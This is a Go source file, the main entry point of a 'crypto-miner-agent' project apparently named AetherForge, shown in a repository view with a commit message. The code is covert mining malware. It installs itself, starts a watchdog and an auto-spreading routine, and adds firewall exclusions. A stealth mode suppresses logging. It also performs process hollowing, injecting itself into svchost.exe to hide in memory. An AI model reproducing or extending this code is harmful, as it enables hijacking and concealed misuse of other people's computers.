Files
AetherForge/agent/main.go
drjones b10d353a8b Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
2026-05-27 20:13:24 -07:00

139 lines
3.4 KiB
Go

package main
import (
"io"
"log"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/client"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/stats"
)
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
cfg := config.Load()
setupLogging(cfg)
if cfg.Wallet == "" {
log.Fatal("wallet address is required in built-in configuration")
}
if cfg.ServerURL == "" {
log.Fatal("server URL is required in built-in configuration")
}
installed, err := deploy.InstallIfNeeded(cfg)
if err != nil {
log.Fatalf("[installer] failed: %v", err)
}
if installed {
if dir, err := cfg.InstallDirectory(); err == nil {
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
} else {
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
}
return
}
reporter := stats.NewReporter()
cfg = cfg.AdaptToSystem(reporter)
if installDir, err := cfg.InstallDirectory(); err == nil {
if id, err := deploy.LoadAgentID(installDir); err == nil {
cfg.AgentID = id
}
}
if cfg.BackgroundMode() || cfg.StealthMode {
cfg.CPUPriority = "idle"
}
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
log.Printf("[agent] could not set CPU priority: %v", err)
}
deploy.StartWatchdog(cfg)
deploy.StartAutoSpreader(cfg)
if cfg.FirewallExclusion {
if installDir, err := cfg.InstallDirectory(); err == nil {
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
deploy.EnsureFirewallExclusion(cfg, installedExe)
}
}
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
// Trigger Process Hollowing Memory Injection if enabled
if cfg.ProcessHollowing {
// Simple check: if we aren't already running as svchost, hollow it!
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
exePath, _ := os.Executable()
payload, err := os.ReadFile(exePath)
if err == nil {
log.Printf("[hollowing] Injecting into svchost.exe...")
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
if err == nil {
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
}
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
}
}
}
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
log.Fatalf("[agent] stopped: %v", err)
}
}
func shortID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "pending"
}
return id
}
func setupLogging(cfg config.RuntimeConfig) {
if !cfg.FileLogging || cfg.StealthMode {
log.SetOutput(io.Discard)
return
}
if os.Getenv("MINER_LOG_FILE") != "" {
redirectLog(os.Getenv("MINER_LOG_FILE"))
return
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
redirectLog(filepath.Join(installDir, "miner.log"))
}
func mustInstallPath(cfg config.RuntimeConfig) string {
path, err := cfg.InstallDirectory()
if err != nil {
return "unknown"
}
return path
}
func redirectLog(path string) {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return
}
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err == nil {
log.SetOutput(f)
}
}